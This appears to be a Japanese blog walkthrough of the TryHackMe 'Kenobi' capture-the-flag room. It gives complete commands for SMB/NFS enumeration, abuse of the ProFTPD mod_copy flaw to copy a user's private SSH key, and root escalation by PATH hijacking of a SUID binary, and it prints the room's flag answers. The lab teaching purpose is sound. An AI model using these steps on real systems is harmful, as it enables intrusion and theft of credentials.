【TryHackMe】Kenobi：WalkThrough

# 概要

TryHackMe「Kenobi」ルームのwalkthroughです。

https://tryhackme.com/r/room/kenobi

# Task1

## **Q2**.*Scan the machine with nmap, how many ports are open?*

**Hint**.*nmap ip -vvv*

`nmap`でポートスキャンを実行します。

```
$ nmap -Pn -T4 -sC -A 10.10.98.6 -oN nmap_result
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-07 10:50 EDT
Nmap scan report for 10.10.98.6
Host is up (0.24s latency).
Not shown: 993 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.5
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b3:ad:83:41:49:e9:5d:16:8d:3b:0f:05:7b:e2:c0:ae (RSA)
|   256 f8:27:7d:64:29:97:e6:f8:65:54:65:22:f7:c8:1d:8a (ECDSA)
|_  256 5a:06:ed:eb:b6:56:7e:4c:01:dd:ea:bc:ba:fa:33:79 (ED25519)
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/admin.html
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
111/tcp  open  rpcbind     2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100003  2,3,4       2049/udp   nfs
|   100003  2,3,4       2049/udp6  nfs
|   100005  1,2,3      33835/tcp6  mountd
|   100005  1,2,3      57152/udp   mountd
|   100005  1,2,3      58259/tcp   mountd
|   100005  1,2,3      59257/udp6  mountd
|   100021  1,3,4      32971/udp   nlockmgr
|   100021  1,3,4      35243/tcp   nlockmgr
|   100021  1,3,4      40873/tcp6  nlockmgr
|   100021  1,3,4      43513/udp6  nlockmgr
|   100227  2,3         2049/tcp   nfs_acl
|   100227  2,3         2049/tcp6  nfs_acl
|   100227  2,3         2049/udp   nfs_acl
|_  100227  2,3         2049/udp6  nfs_acl
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2049/tcp open  nfs         2-4 (RPC #100003)
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1h40m00s, deviation: 2h53m13s, median: 0s
| smb2-time: 
|   date: 2024-05-07T14:51:23
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: kenobi
|   NetBIOS computer name: KENOBI\x00
|   Domain name: \x00
|   FQDN: kenobi
|_  System time: 2024-05-07T09:51:23-05:00
|_nbstat: NetBIOS name: KENOBI, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.46 seconds
```

`21`,`22`,`80`,`111`,`139`,`445`,`2049`の7つのポートがオープンになっていることがわかります。

**A**.**7**

# Task2

## **Q1**.*Using the nmap command above, how many shares have been found?*

`smb-enum-shares.nse`と`smb-enum-users.nse`の2つのNmapスクリプトを使用し、smbの共有情報とユーザーを列挙します。

https://nmap.org/nsedoc/scripts/smb-enum-shares.html

https://nmap.org/nsedoc/scripts/smb-enum-users.html

```
$ nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.98.6
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-07 10:55 EDT
Nmap scan report for 10.10.98.6
Host is up (0.24s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-enum-shares: 
|   account_used: guest
|   \\10.10.98.6\IPC$: 
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service (kenobi server (Samba, Ubuntu))
|     Users: 1
|     Max Users: <unlimited>
|     Path: C:\tmp
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.98.6\anonymous: 
|     Type: STYPE_DISKTREE
|     Comment: 
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\home\kenobi\share
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.98.6\print$: 
|     Type: STYPE_DISKTREE
|     Comment: Printer Drivers
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\var\lib\samba\printers
|     Anonymous access: <none>
|_    Current user access: <none>

Nmap done: 1 IP address (1 host up) scanned in 37.53 seconds
```

`IPC$`,`anonymous`,`print$`の3つの共有ディレクトリが確認できました。

:::note info
今回使用したNmapスクリプトの他にも、`/usr/share/nmap/scripts`配下に多くのスクリプトが用意されています。
:::

**A**.**3**

## **Q2**.*Once you're connected, list the files on the share. What is the file can you see?*

`anonymous`という共有ディレクトリがあり、`anonymous`アクセスによる`READ`と`WRITE`が可能であると出力されました。

```
\\10.10.98.6\anonymous: 
|     Type: STYPE_DISKTREE
|     Comment: 
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\home\kenobi\share
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
```

この共有ディレクトリに`anonymous`でアクセスします。

```
$ smbclient //10.10.98.6/anonymous
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Wed Sep  4 06:49:09 2019
  ..                                  D        0  Wed Sep  4 06:56:07 2019
  log.txt                             N    12237  Wed Sep  4 06:49:09 2019

                9204224 blocks of size 1024. 6877092 blocks available
```

パスワードなしでアクセスできてしまいました。
`dir`コマンドで`log.txt`ファイルが確認できました。

**A**.**log.txt**

## **Q3**.*What port is FTP running on?*

`log.txt`ファイルをローカルにダウンロードします。

```
smb: \> get log.txt
getting file \log.txt of size 12237 as log.txt (12.4 KiloBytes/sec) (average 12.4 KiloBytes/sec)
```

ダウンロードしてきたログファイルを確認します。

```
$ cat ./log.txt                  
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa): 
Created directory '/home/kenobi/.ssh'.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi
The key's randomart image is:
+---[RSA 2048]----+
|                 |
|           ..    |
|        . o. .   |
|       ..=o +.   |
|      . So.o++o. |
|  o ...+oo.Bo*o  |
| o o ..o.o+.@oo  |
|  . . . E .O+= . |
|     . .   oBo.  |
+----[SHA256]-----+

# This is a basic ProFTPD configuration file (rename it to 
# 'proftpd.conf' for actual use.  It establishes a single server
# and a single anonymous login.  It assumes that you have a user/group
# "nobody" and "ftp" for normal operation and anon.

ServerName                      "ProFTPD Default Installation"
ServerType                      standalone
DefaultServer                   on

# Port 21 is the standard FTP port.
Port                            21
(省略)
```

ログファイルからssh鍵生成時の情報と`ProFTPD`の設定情報を確認できました。
FTPのポートは`21`です。

:::note info
FTPのポート番号と使用されているサービス名、バージョンに関してはポートスキャン時でも確認できます。

```
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.5
```
:::

**A**.**21**

## **Q4**.*What mount can we see?*

Nmapでのポートスキャンから`111`ポートで`rpcbind`を使用し`nfs`が動いていることが分かるので、`nfs-ls`,`nfs-statfs`,`nfs-showmount`のスクリプトを使用し`nfs`の列挙を行います。

https://nmap.org/nsedoc/scripts/nfs-ls.html

https://nmap.org/nsedoc/scripts/nfs-statfs.html

https://nmap.org/nsedoc/scripts/nfs-showmount.html

:::note info
ポートスキャン結果
```
111/tcp  open  rpcbind     2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100003  2,3,4       2049/udp   nfs
|   100003  2,3,4       2049/udp6  nfs
|   100005  1,2,3      33835/tcp6  mountd
|   100005  1,2,3      57152/udp   mountd
|   100005  1,2,3      58259/tcp   mountd
|   100005  1,2,3      59257/udp6  mountd
|   100021  1,3,4      32971/udp   nlockmgr
|   100021  1,3,4      35243/tcp   nlockmgr
|   100021  1,3,4      40873/tcp6  nlockmgr
|   100021  1,3,4      43513/udp6  nlockmgr
|   100227  2,3         2049/tcp   nfs_acl
|   100227  2,3         2049/tcp6  nfs_acl
|   100227  2,3         2049/udp   nfs_acl
|_  100227  2,3         2049/udp6  nfs_aclc
2049/tcp open  nfs         2-4 (RPC #100003)
```
:::

```
$ nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.98.6
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-07 11:23 EDT
Nmap scan report for 10.10.98.6
Host is up (0.24s latency).

PORT    STATE SERVICE
111/tcp open  rpcbind
| nfs-showmount: 
|_  /var *

Nmap done: 1 IP address (1 host up) scanned in 3.35 seconds
```

スキャン結果から`/var`ディレクトリが`nfs`に使用されていることがわかりました。

**A**.**/var**

# Task3

## **Q1**.*What is the version?*

**Hint**.*nc machines_ip 21*

ポートスキャンの結果から`ProFTPD 1.3.5`を使用していることが分かります。

```
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.5
```

**A**.**1.3.5**

## **Q2**.*How many exploits are there for the ProFTPd running?*

**Hint**.*searchsploit proftpd version*

`searchsploit`コマンドを使用し、該当バージョンの`ProFTPD`の脆弱性を探します。

https://www.kali.org/tools/exploitdb/

```
$ searchsploit proftpd 1.3.5      
----------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ---------------------------------
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit)                          | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution                                | linux/remote/36803.py
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)                            | linux/remote/49908.py
ProFTPd 1.3.5 - File Copy                                                          | linux/remote/36742.txt
----------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
```

`4`つのエクスプロイトがヒットしました。

**A**.**4**

## **Q5**.*What is Kenobi's user flag (/home/kenobi/user.txt)?*

使用する脆弱性は`2015-3306`。

https://www.exploit-db.com/exploits/36742

`ProFTPD`の`mod_copy`モジュールには未認証クライアントによる`SITE CPFR`コマンドと`SITE CPTO`コマンドが実行できてしまうらしい。
`nfs`の共有フォルダへコピーできればのファイルの持ち出しできそう。

https://scan.netsecurity.ne.jp/article/2015/07/13/36847.html

smbサーバーから取得した`log.txt`により、ユーザーが`kenobi`であること、`kenobi`ユーザーの秘密鍵が`/home/kenobi/.ssh/id_rsa`にあることが確認できる。

```
$ cat ./log.txt                  
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa): 
Created directory '/home/kenobi/.ssh'.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi
The key's randomart image is:
+---[RSA 2048]----+
|                 |
|           ..    |
|        . o. .   |
|       ..=o +.   |
|      . So.o++o. |
|  o ...+oo.Bo*o  |
| o o ..o.o+.@oo  |
|  . . . E .O+= . |
|     . .   oBo.  |
+----[SHA256]-----+
```

`ProFTPD`の脆弱性を利用して`kenobi`ユーザーの秘密鍵を持ち出して、`kenobi`ユーザーでssh接続できそう。

:::note info
`kenobi`ユーザーでのSSH接続までの簡単な流れ。

① `ProFTPD`の脆弱性を利用して`kenobi`ユーザーの秘密鍵を`nfs`で使用されている`/var`ディレクトリ配下にコピーする。
② /varディレクトリをマウントし、コピーしてきた秘密鍵を取得する。
③ 秘密鍵で`kenobi`ユーザーのSSH接続。
:::

まず`/var`ディレクトリの情報を確認する。
マウント用のディレクトリを作成、そこにマウントします。

```
┌──(kali㉿kali)-[~]
└─$ sudo mkdir /mnt/kenobiNFS           
[sudo] password for kali:                                                    
┌──(kali㉿kali)-[~]
└─$ sudo mount 10.10.98.6:/var /mnt/kenobiNFS
```

ディレクトリの中身を確認すると、`tmp`ディレクトリが使い勝手よさそう。

```
$ ls -l /mnt/kenobiNFS 
total 48
drwxr-xr-x  2 root root  4096 Sep  4  2019 backups
drwxr-xr-x  9 root root  4096 Sep  4  2019 cache
drwxrwxrwt  2 root root  4096 Sep  4  2019 crash
drwxr-xr-x 40 root root  4096 Sep  4  2019 lib
drwxrwsr-x  2 root staff 4096 Apr 12  2016 local
lrwxrwxrwx  1 root root     9 Sep  4  2019 lock -> /run/lock
drwxrwxr-x 10 root _ssh  4096 Sep  4  2019 log
drwxrwsr-x  2 root mail  4096 Feb 26  2019 mail
drwxr-xr-x  2 root root  4096 Feb 26  2019 opt
lrwxrwxrwx  1 root root     4 Sep  4  2019 run -> /run
drwxr-xr-x  2 root root  4096 Jan 29  2019 snap
drwxr-xr-x  5 root root  4096 Sep  4  2019 spool
drwxrwxrwt  6 root root  4096 May  7 12:07 tmp
drwxr-xr-x  3 root root  4096 Sep  4  2019 www
```

ということで、`kenobi`ユーザーの秘密鍵は`/var/tmp`配下にコピーします。

① `ProFTPD`の脆弱性を利用して`kenobi`の秘密鍵を`/var/tmp`配下にコピーします。

```
$ nc 10.10.98.6 21                                               
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.98.6]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful
```

:::note info
`SITE CPFR <コピー元パス>`
`SITE CPTO <コピー先パス>`
のように指定します。
:::

② `/var`をマウントして確認すると`kenobi`ユーザーの秘密鍵である`id_rsa`があります。

```
$ ls -l /mnt/kenobiNFS/tmp
total 20
-rw-r--r-- 1 kali kali 1675 May  7 12:07 id_rsa
drwx------ 3 root root 4096 Sep  4  2019 systemd-private-2408059707bc41329243d2fc9e613f1e-systemd-timesyncd.service-a5PktM
drwx------ 3 root root 4096 May  7 10:10 systemd-private-4567be46a0f34efe88941f552ba205c9-systemd-timesyncd.service-5YGaVO
drwx------ 3 root root 4096 Sep  4  2019 systemd-private-6f4acd341c0b40569c92cee906c3edc9-systemd-timesyncd.service-z5o4Aw
drwx------ 3 root root 4096 Sep  4  2019 systemd-private-e69bbb0653ce4ee3bd9ae0d93d2a5806-systemd-timesyncd.service-zObUdn
```

③ 作業ディレクトリに秘密鍵をコピーし、パーミッション設定後、`kenobi`ユーザーで対象マシンにSSH接続します。

```
┌──(kali㉿kali)-[~]
└─$ cp /mnt/kenobiNFS/tmp/id_rsa ./
┌──(kali㉿kali)-[~]
└─$ sudo chmod 600 id_rsa                    
                                                                                                                                  
┌──(kali㉿kali)-[~]
└─$ ssh -i id_rsa kenobi@10.10.98.6
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

103 packages can be updated.
65 updates are security updates.


Last login: Wed Sep  4 07:10:15 2019 from 192.168.1.147
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

kenobi@kenobi:~$
```

SSH接続に成功しました。

フラグファイルの`/home/kenobi/user.txt`を確認してフラグゲットです。

```
$ cat /home/kenobi/user.txt 
d0b0f3f53b6caa532a83915e19224899
```

**A**.**d0b0f3f53b6caa532a83915e19224899**

# Task4

## **Q1**.*What file looks particularly out of the ordinary?*

SUIDビットの設定された不審なプログラムがないか探します。

```
$ find / -user root -perm -4000 2>&1 | grep -v -e "Permission denied" -e "No such file or directory"
/sbin/mount.nfs
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping
/bin/su
/bin/ping6
```

:::note info
[SUIDビットが設定されたファイルの検索方法](https://qiita.com/kk0128/items/78acb48b70b3905f7eab)についての記事を書いたので併せてご覧ください。
:::

`/usr/bin/menu`という見慣れない怪しいプログラムがありますね。

**A**.**/usr/bin/menu**

## **Q2**.*Run the binary, how many options appear?*

`/usr/bin/menu`を実行すると、`3つ`のオプション表示されました。

```
$ /usr/bin/menu 

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :
```

オプション`1`を選択すると、HTTPのレスポンスが得られました。

```
$ /usr/bin/menu 

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
HTTP/1.1 200 OK
Date: Tue, 07 May 2024 16:37:53 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Wed, 04 Sep 2019 09:07:20 GMT
ETag: "c8-591b6884b6ed2"
Accept-Ranges: bytes
Content-Length: 200
Vary: Accept-Encoding
Content-Type: text/html
```

オプション`2`を選択すると、文字通りカーネルのバージョンが表示されました。

```
$ /usr/bin/menu 

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :2
4.8.0-58-generic
```

オプション`3`を選択すると、`ifconfig`コマンドの結果が表示されました。

```
$ /usr/bin/menu 

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :3
eth0      Link encap:Ethernet  HWaddr 02:0e:a2:88:5b:87  
          inet addr:10.10.98.6  Bcast:10.10.255.255  Mask:255.255.0.0
          inet6 addr: fe80::e:a2ff:fe88:5b87/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:9001  Metric:1
          RX packets:83191 errors:0 dropped:0 overruns:0 frame:0
          TX packets:82934 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:5087870 (5.0 MB)  TX bytes:4726203 (4.7 MB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:238 errors:0 dropped:0 overruns:0 frame:0
          TX packets:238 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1 
          RX bytes:16981 (16.9 KB)  TX bytes:16981 (16.9 KB)
```

**A**.**3**

## **Q4**.*What is the root flag (/root/root.txt)?*

`strings`コマンドを使用し、`/usr/bin/menu`のバイナリデータから文字列を出力します。

```
$ strings /usr/bin/menu
(省略)
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :
curl -I localhost
uname -r
ifconfig
(省略)
```

ここら辺が怪しいですね。
オプション`1`では`curl -I localhost`コマンドを実行していることが分かりました。
この`curl`コマンドはフルパス(`/usr/bin/curl`)で指定されていないため、`/usr/bin/menu`から実行される`curl`コマンドを置き換えたらフラグゲット出来そう。

:::note info
権限昇格までの簡単な手順

① `curl`という名のプログラムファイルを新たに作る。
② プログラムファイルの権限を設定する。
③ プログラムファイルがあるディレクトリを環境変数に追加する。(これにより、`curl`だけ指定して実行すると環境変数に追加したパス内の、新たに作成した`curl`が実行される。)
:::

`/tmp`ディレクトリに移動します。

```
$ cd /tmp/
```

① 新たに`curl`プログラムを作成します。
プログラムの中身は`/bin/sh`とし、シェルを提供できるようにします。

```
$ echo /bin/sh > curl
```

② 権限の設定をします。

```
$ chmod 777 curl
kenobi@kenobi:/tmp$ ls -l
total 8
-rwxrwxrwx 1 kenobi kenobi    8 May  7 11:55 curl
```

③ 新たに作成した`curl`プログラムがあるディレクトリを環境変数に追加します。

```
$ export PATH=/tmp:$PATH
```

この状態で`curl`コマンドを実行すると、シェルを提供するプログラム通りに動いた。

```
kenobi@kenobi:/tmp$ curl
$ whoami
kenobi
```

こうして、再び`/usr/bin/menu`を実行すると新たに作成した`curl`プログラムが起動し、特権ユーザーのシェルが提供される。

```
$ /usr/bin/menu 

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
# whoami
root
```

最後にルートフラグファイルを確認し、フラグゲット。

```
# cat /root/root.txt
177b3cd8562289f37382721c28381f02
```

**A**.**177b3cd8562289f37382721c28381f02**

:::note info
新たに作成した`curl`プログラムの中身は、ルートフラグを確認したいだけなら下記の方法でも良い。(環境変数にパスを追加済み)
```
kenobi@kenobi:/tmp$ echo "cat /root/root.txt" > curl
kenobi@kenobi:/tmp$ chmod 777 curl 
kenobi@kenobi:/tmp$ /usr/bin/menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
177b3cd8562289f37382721c28381f02
```
:::

# おまけ

`kenobi`マシンのポートスキャン結果から`80`番ポートでWebサービスが起動している事が確認できました。
実際にアクセスしてみると、某映画の画像が表示されます。

![web.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f9b358f8-4a19-6e60-d703-1a070a3e2982.png)

このページが怪しいと調べてみますが、特に有効な情報は見つかりません。
これは`ラビットホール`と呼ばれています。

https://en.wikipedia.org/wiki/Down_the_rabbit_hole

https://dic.nicovideo.jp/a/%E3%83%A9%E3%83%93%E3%83%83%E3%83%88%E3%83%9B%E3%83%BC%E3%83%AB

>「本来の目的とは逸れてしまう」「本筋から逸れる」転じて「底なし沼にハマる」「複雑な状況から抜け出せない」といった意味でも使われる。

という小ネタでした。